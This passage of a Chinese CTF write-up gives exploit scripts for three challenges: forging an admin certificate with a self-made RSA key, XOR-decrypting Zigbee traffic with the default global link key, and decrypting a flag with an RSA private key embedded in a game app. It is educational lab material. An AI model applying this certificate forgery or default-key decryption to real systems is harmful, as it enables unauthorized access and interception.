    return encoded.translate(str.maketrans(STANDARD_TABLE, CUSTOM_TABLE))

# 生成RSA密钥对
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048, backend=default_backend())
public_key = private_key.public_key()

private_pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
).decode('utf-8')

public_pem = public_key.public_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')

# 构造管理员证书数据
cert_data = {
    'username': 'admin',
    'email': 'admin@admin.com',
    'phone': '123456',
    'role': 'admin',
    'created_at': datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
    'expires_at': (datetime.datetime.now() + datetime.timedelta(days=365)).strftime("%Y-%m-%d %H:%M:%S"),
    'public_key': public_pem,
    'validation_tag': custom_b64_encode("admin|admin")  # username|role
}

# 用私钥对data签名
cert_string = json.dumps(cert_data, ensure_ascii=False, separators=(',', ':'))
signature = private_key.sign(cert_string.encode('utf-8'), padding.PKCS1v15(), hashes.SHA256())

# 构造完整证书
forged_cert = {
    'version': '2.1',
    'data': cert_data,
    'signature': base64.b64encode(signature).decode('utf-8'),
    'algorithm': 'SHA256'
}

# 保存证书
with open('admin.cert', 'w', encoding='utf-8') as f:
    json.dump(forged_cert, f, indent=2, ensure_ascii=False)

print("管理员证书已生成")

最后读取 flag 即可

flag:flag{22c26b2705eebdd0e14ba5b8413c4b25}

PloTS

默认密钥漏洞xor

分析过程

  1. 题目提供了一个Zigbee流量包zigbee_traffic.pcap,提示使用了默认的全局链路密钥
  2. 使用Wireshark分析流量包,发现一个被标记为"Malformed Packet"的Zigbee信标帧
  3. 尝试使用默认密钥5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39解密
  4. 对数据包内容进行16进制分析,发现可能包含隐藏信息
  5. 尝试将数据包内容与默认密钥进行XOR运算,通过不同偏移量测试,最终在偏移13处发现flag

核心知识点

  1. Zigbee网络使用预共享密钥(PSK)进行通信加密
  2. 许多设备出厂时使用默认密钥,存在安全风险
  3. 通过分析网络流量和密码学方法可以恢复加密数据
  4. XOR加密是可逆的:A XOR B = CA XOR C = B

exp

python 复制代码
# 默认密钥
key = [0x5A, 0x69, 0x67, 0x42, 0x65, 0x65, 0x41, 0x6C, 
       0x6C, 0x69, 0x61, 0x6E, 0x63, 0x65, 0x30, 0x39]

# 数据包内容
data = [0x00, 0x08, 0x01, 0x09, 0x0c, 0x09, 0x31, 0x0a, 
        0x17, 0x05, 0x0d, 0x18, 0x08, 0x5b, 0x4e, 0x05, 
        0x09, 0x51, 0x5e, 0x21, 0x1d, 0x0f, 0x27, 0x15, 
        0x0a, 0x2d, 0x0d, 0x1e, 0x00, 0x0f, 0x1a, 0x0b, 
        0x00, 0x4a, 0x50, 0x3d, 0x0b, 0x02, 0x27, 0x18]

# 尝试不同偏移量进行XOR解密
for offset in range(16):
    result = []
    for i in range(len(data)):
        # 使用循环方式应用密钥
        result.append(data[i] ^ key[(i + offset) % len(key)])
    
    # 转换为ASCII字符,只显示可打印字符
    ascii_str = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in result)
    print(f'偏移量 {offset:2d}: {ascii_str}')

flag:flag{thepolarinthezigbee}

点击挑战

题目:

有一个点击挑战的手机游戏,小游非常想通关,请你帮帮他。

思路:

在 main 发现私钥和 密文,直接解密即可

exp:

python 复制代码
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5

private_key_base64 = "MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDO4h24vdQdH3Y5M2f0UZzU8ESNiNImvUDSa6KnlrXCQn/iOnfQDK97wnx0LDibNlMAE50AizHGXwlWClBqtMohObbiFgZrpONbw1Xyg6sGVPPjDHpqgZkV7iXpAnQdphkeEkp2YVYWPaAwFj+lIQl9IuyW1uaGqYKcAzI4xd9juzA1h9wZjXSVyAo77q/HbNVgM1RFw0zQuUJ8qV1rAZv1zrkv7bRO4O4EC00fxzcvbOdos8WwjKvBwSWI52oJEQ6rhYk471o9YkE6pWxuWWORnjLmmI/Eb66BrVUwLZSyTxtUWNrMqyOmtNlkH6H9HL3MrnrPLRiu6m2BrsOnPDmrAgMBAAECggEAIyqEata5q4mhiu+WCA2nXvrIbFaJglRBJINvTpVrp+2t10KhAxhk6+CPTyAFLzz4ttaepW0DtPiKmbl/GeRJR4SL9bpQtRN+Iib+AQ8ojxb5rep9FIWbBANLJmRoYHHPazEovx6kh3tKM2JUxzjqZ/77wFgfL1y4+tQAQW5BHq5wsnKgW5/kysZf1tNhBvyNCowJF0JxisoGvx5nx63J+d+TAM0XPpQ8RBVFjoR3W2odWdpeAmbMl1Aa4ZihcskBbp4EqYr1QZYGuONzLBLaqtwu+E+uC0JPU3dxy9te3Yjs33Dd41gcg8v6HnTrNFntsfR9TojLmEL5N8q+DWvKgQKBgQDlxYmlfefj+b5+FOuokJWX3ioYhFxM4OVF2WkTirAcydm+b7Teacmc3YL9xr0If+88trjb7b8BXCwiterpFi0Pax/z5u7ZIJ8BA1MwybC0CIBzy2i0tMU0qCPCaMYkrEHjKBrYmSIXAy3jqyZ4V9QMkO4pcJoEPNCSyBPr3cZVewKBgQDmf7oglk890b0CVdFNYzPN2Du01OZ5y7aJbzKGlo/H+xx8Qkm/eUeaIOPTWemZaJYCHOQHKHMN/Zp50qE/g7OkQifrvHSJR+PgLv+YN/Y0Our2zIiY5wdZRNZj6k6l9eDbsR65lDC3bhwahuYBQ1yvHzSdaRjeMCJ2Agod6z69kQKBgCrlTQQ7VC5ocprBNxmaHINks4EuPLkRh1wZ8Zb3XleRi3gVDLQ1FbGWXR0ZnDLZB4XTKwHMCcusNIUqZzeqrzDgs+9p3o9kmqqqvz4teTKzH5/+ioap9OMWvM5PlyZDjm1lEFX9iLK5IjkNu7nd07Wg3QWZgvdljx7IAYgYOC2/AoGADXeG82J0zMLVTS6gZOoX2733dxA9Sv5o8sypYg2n5uI3/taMooA+e7XSOcX2DP18TjFL7VMirb2UaeuxehmCxGUNGgvPrzmhCbcVPdp/KvwKQFMg4/YTitanw/yrjay4730As40B76WiRLZ+97Hs11p2Y4ABcPHVAZoK50aYStECgYEAxktu0YJ2By/rRPB1kAkttSb6PvEAuIwuwUFmttYiNuO8dQktpLjCoi62eyUzPxHWcY0Hxi92IAqfS697e9skEMKrepRZ6ysAkKjOMaJhVAwA+XAdRhaPimy4miDFa5dSFPxcc0JwfCAXkX2C/jjYc9s7t4jOMDnYhGszlzGdjNU="
encrypted_flag_base64 = "rVAlPcZC8ioAKKp7fQkTD3aGu+VMZxO15xlDjaRsRqjNiFvM+KZIv1Y6f8YnhKmvPYq7AXuhss/qOhVhnXm0hQkcDjbVBlhZidZZc2lw3PIc1mphUVgj+rd1hu3xwDY8Gsh1CNEx0H878B93T+OVshWh6IygFi6VFHEnfYOh99vPcA6MbeaRFMb4ZhWvr122X0/dxsrP1KXlQEWcnLXtPpbIB7aXjwHb1nqUNaD4EaDqNoouF+CxA4YOt4Oh8sHqh8BtNsD2khSrz6rS5mi7DRff4A4RxRvW4SVU0p7z5v6/KXgdhPe7df9k9duKDUgJ8BooPbMJnG/RuqljK3MR3g=="

private_key_der = base64.b64decode(private_key_base64)
key = RSA.import_key(private_key_der)

encrypted_flag = base64.b64decode(encrypted_flag_base64)

cipher = PKCS1_v1_5.new(key)
decrypted_flag = cipher.decrypt(encrypted_flag, None).decode('utf-8')

print(decrypted_flag)

flag:flag{8baf11bb16c9c14a5577e3ed0658bed3}

相关推荐
热心市民蟹不肉3 小时前
黑盒漏洞扫描(三)
数据库·redis·安全·缓存
GIS数据转换器3 小时前
综合安防数智管理平台
大数据·网络·人工智能·安全·无人机
steins_甲乙3 小时前
C++并发编程(3)——资源竞争下的安全栈
开发语言·c++·安全
2501_915909063 小时前
iOS 反编译防护工具全景解析 从底层符号到资源层的多维安全体系
android·安全·ios·小程序·uni-app·iphone·webview
三七吃山漆4 小时前
攻防世界——comment
android·python·web安全·网络安全·ctf
码界奇点4 小时前
医疗数据的安全长城金仓数据库如何重塑智慧医疗新生态
数据库·安全·智慧城市
Suckerbin6 小时前
2025年Solar应急响应6月赛 恶意进程与连接分析
安全·web安全·网络安全·安全威胁分析
MarkHD7 小时前
车辆TBOX科普 第59次 系统集成与测试深度解析(EMC、功能安全、网络安全)
网络·安全·web安全
浩浩测试一下7 小时前
Kerberos 资源约束性委派误配置下的 S4U2self → S4U2proxy → DCSync 提权高阶手法链
安全·web安全·网络安全·中间件·flask·系统安全·安全架构